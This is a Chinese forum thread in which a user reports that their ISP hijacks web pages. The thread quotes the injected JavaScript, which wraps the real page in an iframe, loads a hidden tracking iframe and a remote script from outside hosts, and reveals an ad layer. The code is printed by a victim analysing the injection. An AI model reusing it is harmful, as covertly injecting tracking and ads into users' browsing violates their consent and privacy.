上网奇遇记

hudba

4 N! x1 R/ h0 ?6 C上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

7 e) V% _* Z2 Q2 {0 D接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
+ ~+ f* H; Q. y1 \

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

7 H! d% Q5 j+ G4 ?
! m( [4 s2 _/ J' J顺便查下ip138：
+ V, y2 J4 u* Z
这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   5 R% e2 W* S  a8 m; n
7. }
   
8. 
   
9. function getParameter(name, paraStr) {
   $ k7 Y" `( {9 @  A0 Q8 ^
10.         var result = "";
    ! Z( @' @6 O+ `% o
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    8 g. P5 s$ v2 F6 A8 R% [1 l, c: P* m  y% V
13.         if (str.indexOf(paraName) != -1) {
    ' a% {; r/ J" Z& b& K
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    & n" T# J! p3 n3 J  }
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    & d+ O) ~( W( S" N/ l1 v" F3 \: S
21.                 }
    
22. 
    9 n; ^( K  `# K4 P6 T0 Q
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 U7 U0 \; ^. h3 ^# f5 P7 [' p
24.         } else {
    * G5 @. l: J+ f0 m% x0 R6 L5 c
25.                 result = "No such parameter";
    
26.         }
    3 y6 S2 K* O; F6 ~7 G; i
27.         return (result.replace("&", ""));
    . X- A! P: V4 G8 p0 k8 Y5 |5 ?
28. }
    
29. 
    # q/ `8 M" I$ K
30. function getMainJs() {
    * ^' B3 Z- o1 |, i5 z9 r
31.         var scripts = document.getElementsByTagName("script");
    6 W+ I5 }' Q% V
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    7 `% L& H: J0 M# w% Y. O' Q
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    
36.                         break;
    
37.                 }
    ) w2 @0 A; a: |8 ]. o
38.         }
    
39.         return s;
    
40. }
    4 U$ R. M. V, z! V0 e7 t
41. 
    / m8 d3 ]0 `7 c1 G! ~
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    : D( ?4 D* [# M/ x2 S7 @- a
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    % y3 l  F$ D6 Q+ s8 N! v! A
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    ) `7 P6 L  \, h2 e
48.         return oStr;
    & n! _4 |+ d' V: P% A) s
49. }
    4 }- ?0 q7 H" Y; ]( @8 H
50. 
    
51. window.onerror = function() {
    
52. };
    
53. 
    
54. var g_titleTime = 0;
      d% y. v0 w+ s4 k( S
55. function setTcTitle() {
    
56.         if (undefined == document) {
    % [8 W6 q# u5 s+ a2 i
57.                 g_titleTime++;
    2 `0 c1 s. d, V, p( J% m
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    7 z% f: @$ M$ P/ ~! h7 X
60.         }
    
61. 
    
62.         var doc;
    8 k4 y, I# e/ `0 j
63.         try {
    7 E) H5 U, r2 e% v7 O# s
64.                 if (document.all) {
    # ]9 ^: ?0 [: t3 y5 u3 i
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    $ O  J: `: l  E" N+ ^6 j+ d; m
67.                         doc = document.getElementById("cn").contentDocument;
    % O* c. F8 A/ u7 m+ Y& i
68.                 }
    / b- g2 t" F* H+ {$ S
69.         } catch (ex) {
    
70.         }
    / H* c1 c1 R7 N) {4 D
71. 
    
72.         if (g_titleTime < 5
    / U, H  {9 ]- W- K# ?8 a+ b
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    ) E8 J) E: j( F" q4 f
74.                 g_titleTime++;
    3 r3 r& A( P* J5 @7 x! y
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    ; X! h% R( P; ]( I" r
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " p5 v$ L% h+ v; M) F
78.                 document.title = doc.title;
    / ?2 h- q1 |1 u
79.                 setTcAdvVisible();
    ( C/ g& C/ }$ i7 f6 m& Z/ T' [7 _
80.         }
    
81. }
    
82. 
    
83. setTimeout("setTcTitle();", 1000);
    : {2 L" `0 ?# t* g, E7 v. F- h7 ^
84. 
    & M$ T" D" o, `4 ?# S
85. var g_isHaveVisible = false;
    6 Q0 S3 L4 Q, }9 T* `7 i
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    % v% b4 k7 ~" I/ C5 g4 e3 K' ]
89.                 document.getElementById("addiv").style.visibility = 'visible';
    1 S. j& t2 b. i0 `4 }9 v
90.                 document.getElementById("addiv").style.display = 'block';
    ) V0 B  C, k6 v: }/ z
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    : h& i- _: z/ K6 d7 U8 m) ?
98.         this.radius = "";
    
99.         this.rlu = "";
    4 P0 C9 O0 n# e7 I! {
100. }
     
101. 
     4 d% s+ f" ]' H8 ?7 d
102. UrlAnalyzer.prototype.initParameters = function() {
     + q2 ]( H9 L: a* y; D6 @2 s5 d
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     6 c2 S( l: y7 E' V# N6 v
105.         this.divda = getParameter("divda", paraStr);
     ) Q5 A) V1 u) L
106.         this.radius = getParameter("radius", paraStr);
     2 u4 f* O7 T/ ]1 w1 E, z' {$ @
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     6 n7 Z& X" c9 @
111. 
     & A, R6 y. u: i. v* q9 Q' p
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     6 c' o- P/ R2 P' {
114.         try {
     0 }8 [) I: O" ?- \0 u( r
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     
117. 
     
118.                 } else {
     2 R$ p$ N( `# w4 a% M$ d8 a/ T
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
       J: O% b9 X8 l
121.                 }
     
122.         } catch (ex) {
     " D5 o* J/ m; K5 S) u, s* ~
123.         }
     & ^( [# p9 h- I' I
124.         return doc;
     
125. }
     ) |; Y0 ?: @# N3 `; l9 f: V
126. 
     6 N! C1 Y  W5 W! W' |7 v- `, o
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     4 _; j1 B' C; S3 g3 _% L
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     " O. g6 g% ?1 b& c
133.                                         document.domain.length);
     
134.                 }
     8 t6 j- G& T& S7 F0 e3 s
135.                
     
136.                 var doc = this.getHtmlDoc();
     7 |) Q8 c5 }; B* W! F6 m3 }
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     ( ]' s! @) e. T) S' X- \+ _
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     
140.                 }
     4 G' h9 f. \; l+ L- Z8 a
141.         }
     ! o5 W! J$ ~$ ~& }
142. }
     
143. 
     3 n) c: w( ]3 G0 x- ^
144. UrlAnalyzer.prototype.iframeCallback = function() {
     ) G; M" b# D$ e
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     ) J$ {0 w4 [0 c1 g+ e1 |
147.                 if (undefined != document.domain) {
     
148. 
     7 L# U( z0 r& y# F+ ]7 O
149.                         var self = this;
     ' ~' V7 U% O$ {
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     $ l6 |, u8 x" T8 W3 A
152.                         // if (undefined != index && -1 != index) {
     3 ]0 a7 ]0 c2 Q& _/ b1 K1 _6 m
153.                         // document.domain = document.domain.substring(index + 1,
     $ d# R! R( h0 s/ B0 K
154.                         // document.domain.length);
     
155.                         // }
     1 F; X) w, A+ e2 d5 O' o3 J" X  z
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     4 @& e" W6 _$ c& [$ `+ a0 {
160.                         // document.title = doc.title;
     6 d; q6 ]" [6 z8 R# E
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
       ]+ |/ S" E7 B
167.         }
     
168. }
     9 D  t( g2 Y  W& [, n; B  ?9 M
169. 
     ( v/ V( L. W7 H
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
       K4 U: t7 R0 S
173. 
     , H  O, Z! I" U) }% x" b
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     3 \/ C( Q9 K$ o7 b" F
176. 
     7 e( Q% t5 H+ x( K. ]& L. L  Z1 e- B, ?) Y
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
       l" g# T% v* G& e/ A8 F# M' c
180.         document.write(advUrl);
     
181. 
     3 K1 m1 V6 ^+ M8 M
182.         var self = this;
     ) H+ E& v" d$ g, K, }3 q
183.         var iframe = document.getElementById("cn");
     ) x/ s+ W" g! ?% A! k
184.         if (iframe.attachEvent) {
     4 t* F' |7 s5 @# e" J% B9 L
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     
188.         } else {
     
189.                 iframe.onload = function() {
     ) F, a& i0 p7 D% Q: ?
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     ' P0 P: G4 o& D/ D
194. 
     + ~3 A: g" ^. O& `$ E5 E! c: n
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     # I$ N& T4 i& @, N- F5 m3 R0 `. @
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     ' @/ H' ^4 E, t/ E
200. }
     
201. 
     # r& s. X  L5 Y: F2 y
202. var g_analyzer = new UrlAnalyzer();
     & }; ]& V* {1 X
203. g_analyzer.executeMain();
     6 [$ Q, Y% Y* ~6 T/ T

复制代码

/ v+ P' ~1 w1 {) t2 {
9 h; l5 W1 Y, B, C6 c3 q

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
1 h% q+ H; c: A" l1 s# e2 i# k1 jTCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好